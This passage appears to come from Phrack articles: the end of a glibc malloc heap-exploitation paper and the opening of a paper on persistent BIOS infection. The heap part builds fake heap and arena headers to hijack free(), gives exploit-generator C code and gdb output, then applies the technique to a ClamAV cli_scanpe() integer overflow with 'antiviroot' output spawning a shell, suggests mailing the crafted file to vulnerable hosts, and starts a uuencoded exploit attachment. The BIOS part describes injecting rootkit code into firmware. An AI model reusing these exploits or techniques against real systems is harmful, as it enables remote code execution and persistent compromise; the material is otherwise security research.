
...

bck = unsorted_chunks(ar_ptr);

‑‑‑ snip ‑‑‑

The arena for chunk 'p' is first looked up and then used in the unsorted_chunks() macro. What is now really interesting is the way the malloc() implementation finds the arena for a given chunk.

‑‑‑ snip ‑‑‑

#define arena_for_chunk(ptr) \

(chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)‑>ar_ptr : &main_arena) ‑‑‑ snip ‑‑‑

‑‑‑ snip ‑‑‑

#define chunk_non_main_arena(p) ((p)‑>size & NON_MAIN_ARENA) ‑‑‑ snip ‑‑‑

‑‑‑ snip ‑‑‑

#define heap_for_ptr(ptr) \

((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE‑1))) ‑‑‑ snip ‑‑‑

For a given chunk (like 'p' in the previous snippet), glibc checks whether this chunk belongs to the main arena by looking at the 'size' field. If the NON_MAIN_ARENA flag is set, heap_for_ptr() is called and the 'ar_ptr' field is returned. Since the attacker controls the 'size' field of a chunk during an overflow condition, she can set or unset this flag at will. But let's see what's the return value of heap_for_ptr() for some sample chunk addresses.

‑‑‑ snip ‑‑‑

#include <stdio.h>

#include <stdlib.h>

#define HEAP_MAX_SIZE (1024*1024)

#define heap_for_ptr(ptr) \

((void *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE‑1)))

int main(int argc, char *argv[]) {

size_t i, n;

void *chunk, *heap;

if(argc != 2) {

fprintf(stderr, "%s <n>\n", argv[0]);

return ‑1;

}

if((n = atoi(argv[1])) <= 0)

return ‑1;

chunk = heap = NULL;

for(i = 0; i < n; i++) {

while((chunk = malloc(1024)) != NULL) { if(heap_for_ptr(chunk) != heap) {

heap = heap_for_ptr(chunk);

break;

}

}

fprintf(stderr, "%.2d heap address: %p\n",

i+1, heap);

}

return 0;

}

‑‑‑ snip ‑‑‑

Let's compile and run.

‑‑‑ snip ‑‑‑

$ ./test 10

01 heap address: 0x8000000

02 heap address: 0x8100000

03 heap address: 0x8200000

04 heap address: 0x8300000

05 heap address: 0x8400000

06 heap address: 0x8500000

07 heap address: 0x8600000

08 heap address: 0x8700000

09 heap address: 0x8800000

10 heap address: 0x8900000

‑‑‑ snip ‑‑‑

This code prints the first N heap addresses. So, for a chunk that has an address of 0xdeadbeef, its heap location is at most 1Mbyte backwards. Precisely, chunk 0xdeadbeef belongs to heap 0xdea00000. So if an attacker controls the location of a chunk's theoretical heap address, then by overflowing the 'size' field of this chunk, they can fool free() to assume that a valid heap header is stored there. Then, by carefully setting up fake heap and arena headers, an attacker may be able to force unsorted_chunks() to return a value of their choice.

This is not a rare situation; in fact this is how most real life heap exploits work. Forcing the target application to perform a number of continuous allocations, helps the attacker control the arena header. Since the heap is not randomized and the chunks are sequentially allocated, the heap addresses are static and can be used across all targets! Even if the target system is equipped with the latest kernel and has heap randomization enabled, the heap addresses can be easily brute forced since a potential attacker only needs to know the upper part of an address rather than some specific location in the virtual address space.

Notice that the code shown in the previous snippet always produces the same results and precisely the ones depicted above. That is, given the approximation of the address of some chunk one tries to overflow, the heap address can be easily precalculated using heap_for_ptr().

For example, suppose that the last chunk allocated by some application is located at the address 0x080XXXXX. Suppose that this chunk belongs to the main arena, but even If it wouldn't, its heap address would be 0x080XXXXX & 0xfff00000 = 0x08000000. All one has to do is to force the application perform a number of allocations until the target chunk lies beyond 0x08100000. Then, if the target chunk has an address of 0x081XXXXX, by overflowing its 'size' field, one can make free() assume that it belongs to some heap located at 0x08100000. This area is controlled by the attacker who can place arbitrary data there. When public_fREe() is called and sees that the heap address for the chunk to be freed is 0x08100000, it will parse the data there as if it were a valid arena. This will give the attacker the chance to control the return value of unsorted_chunks().

‑‑‑[ VI. Creating fake heap and arena headers

Once an attacker controls the contents of the heap and arena headers, what are they supposed to place there? Placing random arbitrary values may result in the target application getting stuck by entering endless loops or even segfaulting before its time, so, one should be careful in not causing such side effects. In this section, we deal with this problem. Proper values for various fields are shown and an exploit for our example code is developed.

Right after entering _int_free(), do_check_chunk() is called in order to perform lightweight sanity checks on the chunk being freed. Below is a code snippet taken from the aforementioned function. Certain pieces were removed for clarity.

‑‑‑ snip ‑‑‑

char *max_address = (char*)(av‑>top) + chunksize(av‑>top); char *min_address = max_address ‑ av‑>system_mem;

if(p != av‑>top) {

if(contiguous(av)) {

assert(((char*)p) >= min_address);

assert(((char*)p + sz) <= ((char*)(av‑>top)));

}

}

‑‑‑ snip ‑‑‑

The do_check_chunk() code fetches the pointer to the topmost chunk as well as its size. Then 'max_address' and 'min_address' get the values of the higher and the lower available address for this arena respectively. Then, 'p', the pointer to the chunk being freed is checked against the pointer to the topmost chunk. Since one should not free the topmost chunk, this code is, under normal conditions, bypassed. Next, the arena named 'av', is tested for contiguity. If it's contiguous, chunk 'p' should fall within the boundaries of its arena; if not the checks are kindly ignored.

So far there are two restrictions. The attacker should provide a valid 'av‑>top' that points to a valid 'size' field. The next set of restrictions are the assert() checks which will mess the exploitation. But let's first focus on the macro named contiguous().

‑‑‑ snip ‑‑‑

#define NCONTIGUOUS_BIT (2U)

#define contiguous(M) (((M)‑>flags & NONCONTIGUOUS_BIT) == 0) ‑‑‑ snip ‑‑‑

Since the attacker controls the arena flags, if they set it to some integer having the third least significant bit set, then contiguous(av) is false and the assert() checks are ignored. Additionally, providing an 'av‑>top' pointer equal to the heap address, results in 'max_address' and 'min_address' getting valid values, thus avoiding annoying segfaults due to invalid pointer accesses. It seems that the first set of problems was easily solved.

Do you think it's over? Hell no. After some lines of code are executed, _int_free() uses the macro __builtin_expect() to check if the size of the chunk right next to the one being freed (the third chunk) is larger than the total available memory of the arena. This is a good measure for detecting overflows and any decent attacker should get away with it.

‑‑‑ snip ‑‑‑

nextsize = chunksize(nextchunk); if(__builtin_expect(nextchunk‑>size <= 2 * SIZE_SZ, 0)

|| __builtin_expect(nextsize >= av‑>system_mem, 0)) { errstr = "free(): invalid next size (normal)";

goto errout;

}

‑‑‑ snip ‑‑‑

By setting 'av‑>system_mem' equal to 0xffffffff, one can bypass any check regarding the available memory and obviously this one as well. Although important for the internal workings of malloc(), the 'av‑>max_system_mem' field can be zero since it won't get on the attacker's way.

Unfortunately, before even reaching _int_free(), in public_fREe(), the mutex for the current arena is locked. Here's the snippet trying to achieve a valid lock sequence.

‑‑‑ snip ‑‑‑

#if THREAD_STATS

if(!mutex_trylock(&ar_ptr‑>mutex)) ++(ar_ptr‑>stat_lock_direct);

else {

mutex_lock(&ar_ptr‑>mutex); ++(ar_ptr‑>stat_lock_wait);

}

#else

mutex_lock(&ar_ptr‑>mutex);

#endif

‑‑‑ snip ‑‑‑

In order to see what happens I had to delve into the internals of the NPTL library (also part of glibc). Since NPTL is out of the scope of this article I won't explain everything here. Briefly, the mutex is represented by a pthread_mutex_t structure consisting of 5 integers. Giving invalid or random values to these integers will result in the code waiting until mutex's release. After messing with the NPTL internals, I noticed that setting all the integers to 0 will result in the mutex being acquired and locked properly. The code then continues execution without further problems.

Right now there are no more restrictions, we can just place the value 0x08100020 (the heap header offset plus the heap header size) in the 'ar_ptr' field of the _heap_info structure, and give the value retloc‑12 to bins[0] (where retloc is the return location where the return address will be written). Recall that the return address points to the 'prev_size' field of the chunk being freed, an integer under the attacker's control. What should one place there? This is another problem that needs to be solved.

Since only a small amount of bytes is needed for the heap and the arena headers at 0x08100000 (or similar address), one can use this area for storing shellcode and nops as well. By setting the 'prev_size' field of the chunk being freed equal to a JMP instruction, one can branch some bytes ahead or backwards so that execution is transfered somewhere in 0x08100000 but, still, after the heap and arena headers! Valid locations are 0x08100000+X with X >= 72, that is, X should be an offset after the heap header and after bins[0]. This is not as complicated as it sounds, in fact, all addresses needed for exploitation are static and can be easily precalculated!

The code below triggers a '4 bytes anywhere' condition.

‑‑‑ snip ‑‑‑

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main() {

char buffer[65535], *arena, *chunks;

/* Clean up the buffer. */

bzero(buffer, sizeof(buffer));

/* Pointer to the beginning of the arena header. */

arena = buffer + 360;

/* Pointer to the arena header ‑‑ offset 0. */

*(unsigned long int *)&arena[0] = 0x08100000 + 12;

/* Arena flags ‑‑ offset 16. */

*(unsigned long int *)&arena[16] = 2;

/* Pointer to fake top ‑‑ offset 60. */

*(unsigned long int *)&arena[60] = 0x08100000;

/* Return location minus 12 ‑‑ offset 68. */

*(unsigned long int *)&arena[68] = 0x41414141 ‑ 12;

/* Available memory for this arena ‑‑ offset 1104. */

*(unsigned long int *)&arena[1104] = 0xffffffff;

/* Pointer to the second chunk's prev_size (shellcode). */

chunks = buffer + 10240;

*(unsigned long int *)&chunks[0] = 0xdeadbeef;

/* Pointer to the second chunk. */

chunks = buffer + 10244;

/* Size of the second chunk (PREV_INUSE+NON_MAIN_ARENA). */

*(unsigned long int *)&chunks[0] = 0x00000055;

/* Pointer to the third chunk. */

chunks = buffer + 10244 + 80;

/* Size of the third chunk (PREV_INUSE). */

*(unsigned long int *)&chunks[0] = 0x00000051;

/* Pointer to the fourth chunk. */

chunks = buffer + 10244 + 80 + 80;

/* Size of the fourth chunk (PREV_INUSE). */

*(unsigned long int *)&chunks[0] = 0x00000051;

write(1, buffer, 10244 + 80 + 80 + 4);

return;

}

‑‑‑ snip ‑‑‑

‑‑‑ snip ‑‑‑

$ gcc exploit.c ‑o exploit

$ ./exploit > VECTOR

$ gdb ‑q ./test

(gdb) b _int_free

Function "_int_free" not defined.

Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (_int_free) pending.

(gdb) run 722 1024 < VECTOR

Starting program: /home/huku/test 722 1024 < VECTOR

[~] Allocated 1024 bytes at 0x804a008‑0x804a408

[~] Allocated 1024 bytes at 0x804a410‑0x804a810

[~] Allocated 1024 bytes at 0x804a818‑0x804ac18

...

...

[~] Allocated 1024 bytes at 0x80ffa90‑0x80ffe90

[~] Chunk 1 at 0x80ffe98‑0x8100298

[~] Chunk 2 at 0x81026a0

[~] Chunk 3 at 0x81026f0

[~] Chunk 4 at 0x8102740

[~] Freeing 0x81026a0

Breakpoint 1, _int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4552 4552 p = mem2chunk(mem);

(gdb) print *av

$1 = {mutex = 1, flags = 2, fastbins = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x8100000, last_remainder = 0x0, bins = {0x41414135, 0x0 <repeats 253 times>},

binmap = {0, 0, 0, 0}, next = 0x0, system_mem = 4294967295, max_system_mem = 0}

‑‑‑ snip ‑‑‑

It seems that all the values for the arena named 'av', are in position.

‑‑‑ snip ‑‑‑

(gdb) cont

Continuing.

Program received signal SIGSEGV, Segmentation fault.

_int_free (av=0x810000c, mem=0x81026a0) at malloc.c:4698

4698 fwd‑>bk = p;

(gdb) print (void *)fwd

$2 = (void *) 0x41414135

(gdb) print (void *)fwd‑>bk

Cannot access memory at address 0x41414141

(gdb) print (void *)p

$3 = (void *) 0x8102698

(gdb) x/4bx p

0x8102698: 0xef 0xbe 0xad 0xde

(gdb) q

The program is running. Exit anyway? (y or n) y

‑‑‑ snip ‑‑‑

Indeed, 'fwd‑>bk' is the return location (0x41414141) and 'p' is the return address (the address of the 'prev_size' of the second chunk). The attacker placed there the data 0xdeadbeef. So, it's now just a matter of placing the nops and the shellcode at the proper location. This is, of course, left as an exercise for the reader (the .dtors section is your friend) :‑)

‑‑‑[ VII. Putting it all together

It's now time to develop a logical plan of what some attacker is supposed to do in order to take advantage of such a security hole. Although it should be quite clear by now, the steps required for successful exploitation are listed below.

* An attacker must force the program perform sequential allocations in the heap and eventually control a chunk whose boundaries contain the new theoretical heap address. For example, if allocations start at 0x080XXXXX then they should allocate chunks until the one they control contains the address 0x08100000 within its bounds. The chunks should be larger than 64 bytes but smaller than the mmap() threshold. If the target program has already performed several allocations, it is highly possible that allocations start at 0x08100000.

* An attacker must make sure that they can overflow the chunk right next to the one under their control. For example, if the chunk from 0x080XXXXX to 0x08101000 is under control, then chunk 0x081010010x0810XXXX should be overflowable (or just any chunk at 0x081XXXXX).

* A fake heap header followed by a fake arena header should be placed at 0x08100000. Their base addresses in the VA space are 0x08100000 and 0x08100000 + sizeof(struct _heap_info) respectively. The bins[0] field of the fake arena header should be set equal to the return location minus 12 and the rules described in the previous section should be followed for better results. If there's enough room, one can also add nops and shellcode there, if not then imagination is the only solution (the contents of the following chunk are under the attacker's control as well).

* A heap overflow should be forced via a memcpy(), bcopy(), read() or similar functions. The exploitation vector should be just like the one created by the code in the previous section. Schematically, it looks like the following figure (the pipe character indicates the chunk boundaries).

[heap_hdr][arena_hdr][...]|[AAAA][...]|[BBBB][...]|[CCCC]

[heap_hdr] ‑> The fake heap header. It should be placed on an address aligned to 1Mb e.g 0x08100000.

[arena_hdr] ‑> The fake arena header.

[...] ‑> Irrelevant data, garbage, alphas etc. If there's enough room, one can place nops and shellcode here.

[AAAA] ‑> The size of the second chunk plus PREV_INUSE and NON_MAIN_ARENA.

[BBBB] ‑> The size of the third chunk plus PREV_INUSE.

[CCCC] ‑> The size of the fourth chunk plus PREV_INUSE.

* The attacker should be patient enough to wait until the chunk right next to the one she controls is freed. Voila!

Although this technique can be quite lethal as well as straightforward, unfortunately it's not as generic as the heap overflows of the good old days. That is, when applied, it can achieve immediate and trustworthy results. However, it has a higher complexity than, for example, common stack overflows, thus certain prerequisites should be met before even someone attempts to deploy such an attack. More precisely, the following conditions should be true.

* The target chunks should be larger than 64 bytes and less than the mmap() threshold.

* An attacker must have the ability to control 4 sequential chunks either directly allocated or fake ones constructed by them.

* An attacker must have the ability to write null bytes. That is, one should be able to overflow the chunks via memcpy(), bcopy(), read() or similar since strcpy() or strncpy() will not work! This is probably the most important precondition for this technique.

‑‑‑[ VIII. The ClamAV case

‑‑[ 1. The bug

Let's use the knowledge described so far to build a working exploit for a known application. After searching at secunia.com for heap overflows, I came up with a list of possible targets, the most notable one being ClamAV. The cli_scanpe() integer overflow was a really nice idea, so, I decided to research it a bit (the related advisory is published at [12]). The exploit code for this vulnerability, called 'antiviroot', can be found in the 'Attachments' section in uuencoded format.

Before attempting to audit any piece of code, the potential attacker is advised to build ClamAV using a custom version of glibc with debugging symbols (I also modified glibc a bit to print various stuff). After following Chariton's ideas described at [11], one can build ClamAV using the commands of the following snippet. It is rather complicated but works fine. This trick is really useful if one is about to use gdb during the exploit development.

‑‑‑ snip ‑‑‑

$ export LDFLAGS=‑L/home/huku/test_builds/lib ‑L/usr/local/lib ‑L/usr/lib $ export CFLAGS=‑O0 ‑nostdinc \

> ‑I/usr/lib/gcc/i686‑pc‑linux‑gnu/4.2.2/include \

> ‑I/home/huku/test_builds/include ‑I/usr/include ‑I/usr/local/include \ > ‑Wl,‑z,nodeflib \

> ‑Wl,‑rpath=/home/huku/test_builds/lib ‑B /home/huku/test_builds/lib \ > ‑Wl,‑‑dynamic‑linker=/home/huku/test_builds/lib/ld‑linux.so.2 $ ./configure ‑‑prefix=/usr/local && make && make install

‑‑‑ snip ‑‑‑

When make has finished its job, we have to make sure everything is ok by running ldd on clamscan and checking the paths to the shared libraries.

‑‑‑ snip ‑‑‑

$ ldd /usr/local/bin/clamscan

linux‑gate.so.1 => (0xb7ef4000)

libclamav.so.2 => /usr/local/lib/libclamav.so.2 (0xb7e4e000) libpthread.so.0 => /home/huku/test_builds/lib/libpthread.so.0 (0xb7e37000) libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7d08000) libz.so.1 => /usr/lib/libz.so.1 (0xb7cf5000)

libbz2.so.1.0 => /usr/lib/libbz2.so.1.0 (0xb7ce5000) libnsl.so.1 => /home/huku/test_builds/lib/libnsl.so.1 (0xb7cd0000) /home/huku/test_builds/lib/ld‑linux.so.2 (0xb7ef5000)

‑‑‑ snip ‑‑‑

Now let's focus on the buggy code. The actual vulnerability exists in the preprocessing of PE (Portable Executable) files, the well known Microsoft Windows executables. Precisely, when ClamAV attempts to dissect the headers produced by a famous packer, called MEW, an integer overflow occurs which later results in an exploitable condition. Notice that this bug can be exploited using various techniques but for demonstration purposes I'll stick to the one I presented here. In order to have a more clear insight on how things work, you are also advised to read the Microsoft PE/COFF specification [13] which, surprisingly, is free for download.

Here's the vulnerable snippet, libclamav/pe.c function cli_scanpe(). I actually simplified it a bit so that the exploitable part becomes more clear.

‑‑‑ snip ‑‑‑

ssize = exe_sections[i + 1].vsz;

dsize = exe_sections[i].vsz;

...

src = cli_calloc(ssize + dsize, sizeof(char));

...

bytes = read(desc, src + dsize, exe_sections[i + 1].rsz);

‑‑‑ snip ‑‑

First, 'ssize' and 'dsize' get their initial values which are controlled by the attacker. These values represent the virtual size of two contiguous sections of the PE file being scanned (don't try to delve into the MEW packer details since you won't find any documentation which will be useless even if you will). The sum of these user supplied values is used in cli_calloc() which, obviously, is just a calloc() wrapper. This allows for an arbitrary sized heap allocation, which can later be used in the read operation. There are endless scenarios here, but lets see what are the potentials of achieving code execution using the new free() exploitation technique.

Several limitations that are imposed before the vulnerable snippet is reached, make the exploitation process overly complex (MEW fixed offsets, several bound checks on PE headers etc). Let's ignore them for now since they are only interesting for those who are willing to code an exploit of their own. What we are really interested in, is just the core idea behind this exploit.

Since 'dsize' is added to 'src' in the read() operation, the attacker can give 'dsize' such a value, so that when added to 'src', the heap address of 'src' is eventually produced (via an integer overflow). Then, read(), places all the user supplied data there, which may contain specially crafted heap and arena headers, etc. So schematically, the situation looks like the following figure (assuming the 'src' pointer has a value of 0xdeadbeef):

0xdea00000 0xdeadbeef

...+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑...‑+‑‑‑‑‑‑‑

| Heap hdr | Arena hdr | | Chunk 'src' | Other chunks |

...+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑...‑+‑‑‑‑‑‑‑

So, if one manages to overwrite the whole region, from the heap header to the 'src' chunk, then they can also overwrite the chunks neighboring 'src' and perform the technique presented earlier. But there are certain obstacles which can't be just ignored:

* From 0xdea00000 to 0xdeadbeef various chunks may also be present, and overwriting this region may result in premature terminations of the ClamAV scan process.

* 3 More chunks should be present right after the 'src' chunk and they should be also alterable by the overflow.

* One needs the actual value of the 'src' pointer.

Fortunately, there's a solution for each of them:

* One can force ClamAV not to mess with the chunks between the heap header and the 'src' chunk. An attacker may achieve this by following a precise vulnerable path.

* Unfortunately, due to the heap layout during the execution of the buggy code, there are no chunks right after 'src'. Even if there were, one wouldn't be able to reach them due to some internal size checks in the cli_scanpe() code. After some basic math calculations (not presented here since they are more or less trivial), one can prove that the only chunk they can overwrite is the chunk pointed by 'src'. Then, cli_calloc() can be forced to allocate such a chunk, where one can place 4 fake chunks of a size larger than 72. This is exactly the same situation as having 4 contiguous preallocated heap chunks! :‑)

* Since the heap is, by default, not randomized, one can precalculate the 'src' value using gdb or some custom malloc() debugger (just like I did). This specific bug is hard to exploit when randomization is enabled. On the contrary, the general technique presented in this article, is immune to such security measures.

Optionally, an attacker can force ClamAV allocate the 'src' chunk somewhere inside a heap hole created by realloc() or free(). This allows for the placement of the target chunk some bytes closer to the fake heap and arena headers, which, in turn, may allow for bypassing certain bound checks. Before the vulnerable snippet is reached, the following piece of code is executed:

‑‑‑ snip ‑‑‑

section_hdr = (struct pe_image_section_hdr *)cli_calloc(nsections, sizeof(struct pe_image_section_hdr));

...

exe_sections = (struct cli_exe_section *)cli_calloc(nsections, sizeof(struct cli_exe_section));

...

free(section_hdr);

‑‑‑ snip ‑‑‑

This creates a hole at the location of the 'section_hdr' chunk. By carefully computing values for 'dsize' and 'ssize' so that their sum equals the product of 'nsections' and 'sizeof(struct pe_image_section_hdr)', one can make cli_calloc() reclaim the heap hole and return it (this is what antiviroot actually does). Notice that apart from the aforementioned condition, the value of 'dsize' should be such, so that 'src + dsize' equals to the heap address of 'src' (a.k.a. 'heap_for_ptr(src)').

Finally, in order to trigger the vulnerable path in malloc.c, a free() should be issued on the 'src' chunk. This should be performed as soon as possible, since the MEW unpacking code may mess with the contents of the heap and eventually break things. Hopefully, the following code can be triggered in the ClamAV source.

‑‑‑ snip ‑‑‑

if(buff[0x7b] == '\xe8') {

...

if(!CLI_ISCONTAINED(exe_sections[1].rva, exe_sections[1].vsz, cli_readint32(buff + 0x7c) + fileoffset + 0x80, 4)) { ...

free(src);

}

}

‑‑‑ snip ‑‑‑

By planting the value 0xe8 in offset 0x7b of 'buff' and by forcing CLI_ISCONTAINED() to fail, one can force ClamAV to call free() on the 'src' chunk (the chunk whose header contains the NON_MAIN_ARENA flag when the read() operation completes). A '4 bytes anywhere' condition eventually takes place. In order to prevent ClamAV from crashing on the next free(), one can overwrite the .got address of free() and wait.

‑‑[ 2. The exploit

So, here's how the exploit for this ClamAV bug looks like. For more info on the exploit usage you can check the related README file in the attachment. This code creates a specially crafted .exe file, which, when passed to clamscan, spawns a shell.

‑‑‑ snip ‑‑‑

$ ./antiviroot ‑a 0x98142e0 ‑r 0x080541a8 ‑s 441

CLAMAV 0.92.x cli_scanpe() EXPLOIT / antiviroot.c

huku / huku _at_ grhack _dot_ net

[~] Using address=0x098142e0 retloc=0x080541a8 size=441 file=exploit.exe [~] Corrected size to 480

[~] Chunk 0x098142e0 has real address 0x098142d8

[~] Chunk 0x098142e0 belongs to heap 0x09800000

[~] 0x098142d8‑0x09800000 = 82648 bytes space (0.08M)

[~] Calculating ssize and dsize

[~] dsize=0xfffebd20 ssize=0x000144c0 size=480

[~] addr=0x098142e0 + dsize=0xfffebd20 = 0x09800000 (should be 0x09800000) [~] dsize=0xfffebd20 + ssize=0x000144c0 = 480 (should be 480) [~] Available space for exploitation 488 bytes (0.48K)

[~] Done

$ /usr/local/bin/clamscan exploit.exe

LibClamAV Warning: **************************************

LibClamAV Warning: *** The virus database is older than 7 days. *** LibClamAV Warning: *** Please update it IMMEDIATELY! ***

LibClamAV Warning: **************************************

...

sh‑3.2$ echo yo

yo

sh‑3.2$ exit

exit

‑‑‑ snip ‑‑‑

A more advanced scenario would be attaching the executable file and mailing it to a couple of vulnerable hosts and... KaBooM! Eventually, it seems that our technique is quite lethal even for real life scenarios. More advancements are possible, of course, they are left as an exercise to the reader :‑)

‑‑‑[ IX. Epilogue

Personally, I belong with those who believe that the future of exploitation lies somewhere in kernelspace. The various userspace techniques are, like g463 said, more or less ephemeral. This paper was just the result of some fun I had with the glibc malloc() implementation, nothing more, nothing less.

Anyway, all that stuff kinda exhausted me. I wouldn't have managed to write this article without the precious help of GM, eidimon and Slasher (yo guys!).

Dedicated to the r00thell clique ‑‑ Wherever you are and whatever you do, I wish you guys (and girls ;‑) all the best.

‑‑‑[ X. References

[01] Vudo ‑ An object superstitiously believed to embody magical powers Michel "MaXX" Kaempf <maxx@synnergy.net> http://www.phrack.org/issues.html?issue=57&id=8#article

[02] Once upon a free()...

anonymous <d45a312a@author.phrack.org> http://www.phrack.org/issues.html?issue=57&id=9#article

[03] Advanced Doug lea's malloc exploits

jp <jp@corest.com> http://www.phrack.org/issues.html?issue=61&id=6#article

[04] w00w00 on Heap Overflows

Matt Conover & w00w00 Security Team http://www.w00w00.org/files/articles/heaptut.txt

[05] Heap off by one

qitest1 <qitest1@bespin.org> http://freeworld.thc.org/root/docs/exploit_writing/heap_off_by_one.txt

[06] The Malloc Maleficarum

Phantasmal Phantasmagoria <phantasmal@hush.ai> http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt

[07] JPEG COM Marker Processing Vulnerability in Netscape Browsers Solar Designer <solar@openwall.com> http://www.openwall.com/advisories/OW‑002‑netscape‑jpeg/

[08] Glibc heap protection patch

Stefan Esser <stefan@suspekt.org> http://seclists.org/focus‑ids/2003/Dec/0024.html

[09] Exploiting the Wilderness

Phantasmal Phantasmagoria <phantasmal@hush.ai> http://seclists.org/vuln‑dev/2004/Feb/0025.html

[10] The use of set_head to defeat the wilderness

g463 <jean‑sebastien@guay‑leroux.com> http://www.phrack.org/issues.html?issue=64&id=9#article

[11] Two (or more?) glibc installations

Chariton Karamitas <chariton.karamitas@echothrust.com> http://blogs.echothrust.com/chariton‑karamitas/two‑or‑more‑glibc‑installations

[12] ClamAV Multiple Vulnerabilities

Secunia Research

http://secunia.com/advisories/28117/

[13] Portable Executable and Common Object File Format Specification Microsoft http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx

XI. Attachments

begin 600 antiviroot.tar.gz

M'XL("'J6ZD@"`V%N=&EV:7)O;W0N=&%R`.T]:7O;‑M+]&OX*Q&W6DBW)I$['

end

Persistent BIOS infection

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x07 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Persistent BIOS Infection ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ "The early bird catches the worm" ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ .aLS ‑ anibal.sacco@coresecurity.com ]=‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Alfredo ‑ alfredo@coresecurity.com ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ June 1 2009 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ Index

0 ‑ Foreword

1 ‑ Introduction

1.1 ‑ Paper structure

2 ‑ BIOS basics

2.1 ‑ BIOS introduction

2.1.1 ‑ Hardware

2.1.2 ‑ How it works?

2.2 ‑ Firmware file structure

2.3 ‑ Update/Flashing process

3 ‑ BIOS Infection

3.0 ‑ Initial setup

3.1 ‑ VMWare's (Phoenix) BIOS modification

3.1.1 ‑ Dumping the VMWare BIOS

3.1.2 ‑ Setting up VMWARE to load an alternate BIOS 3.1.3 ‑ Unpacking the firmware

3.1.4 ‑ Modification

3.1.5 ‑ Payload

3.1.5.1 ‑ The Ready Signal

3.1.6 ‑ OptionROM

3.2 ‑ Real (Award) BIOS modification

3.2.1 ‑ Dumping the real BIOS firmware

3.2.2 ‑ Modification

3.2.3 ‑ Payload

4 ‑ BIOS32 (Direct kernel infection)

5 ‑ Future and other uses

5.1 ‑ SMM!

6 ‑ Greetz

7 ‑ References

8 ‑ Sources ‑ Implementation details

‑‑‑‑‑‑[ 0.‑ Foreword

Dear reader, if you're here we can assume that you already know what the BIOS is and how it works. Or, at least, you have a general picture of what the BIOS does, and its importance for the normal operation of a computer. Based on that, we will briefly explain some basic concepts to get you into context and then we'll jump to the, more relevant, technical stuff.

‑‑‑‑‑‑[ 1.‑ Introduction

Over the years, a lot has been said about this topic. But, apart of the old Chernobyl virus, which just zeroed the BIOS if you motherboard was one of the supported, or some modifications with modding purposes (that were a very valuable source of data, btw) like Pinczakko's work, we wouldnt be able to find any public implementation of a working, generical and malicious BIOS infection.

Mostly, the people tends to think that this is a very researched, old and already mitigated technique. It is sometimes even confused whith the obsolet MBR viruses. But, is our intention to show that this kind of attacks are possible and could be, with the aproppiated OS detection and infection techniques, a very trustable and persistent rootkit residing just inside of the BIOS Firmware.

In this paper we will show a generic method to inject code into unsigned BIOS firmwares. This technique will let us embedd our own code into the BIOS firmware so that it will get executed just before the loading of the operating system.

We will also demonstrate how having complete control of the hard drives allows us to leverage true persistency by deploying fully functional code directly into a windows process or just by modifying sensitive OS data in a Linux box.

‑‑‑[ 1.1 ‑ Paper structure

The main idea of this paper is to show how the BIOS firmware can be modified and used as a persistence method after a successful intrusion.

So, we will start by doing a little introduction and then we will focus the paper on the proof of concept code, splitting the paper in two main sections:

‑ VMWare's (Phoenix) BIOS modification

‑ Real (Award) BIOS modification

In each one we will explain the payloads to show how the attack is done, and then we'll jump directly to see the payload code.

‑‑‑‑‑‑[ 2.‑ BIOS Basics

‑‑‑[2.1 ‑ BIOS introduction

From Wikipedia [1]:

"The BIOS is boot firmware, designed to be the first code run by a PC when powered on. The initial function of the BIOS is to identify test, and initialize system devices such as the video display card, hard disk, and floppy disk and other hardware. This is to prepare the machine into a known state, so that software stored on compatible media can be loaded, executed, and given control of the PC.[3] This process is known as booting, or booting up, which is short for bootstrapping."

"...provide a small library of basic input/output functions that can be called to operate and control the peripherals such as the keyboard, text display functions and so forth. In the IBM PC and AT, certain peripheral cards such as hard‑drive controllers and video display adapters carried their own BIOS extension ROM, which provided additional functionality. Operating systems and executive software, designed to supersede this basic firmware functionality, will provide replacement software interfaces to applications.

‑‑‑[2.1.1 ‑ Hardware

Back in the 80's the BIOS firmware was contained in ROM or PROM chips, which could not be altered in any way, but nowadays, this firmware is stored in an EEPROM (Electrically Erasable Programmable Read‑Only Memory). This kind of memory allows the user to reflash it, allowing the vendor to offer firmware updates in order to fix bugs, support new hardware and to add new functionality.

‑‑‑[2.1.2 ‑ How it works?

The BIOS has a very important role in the functioning of a computer.

It should be always available as it holds the first instruction executed by the CPU when it is turned on. This is why it is stored in a ROM.

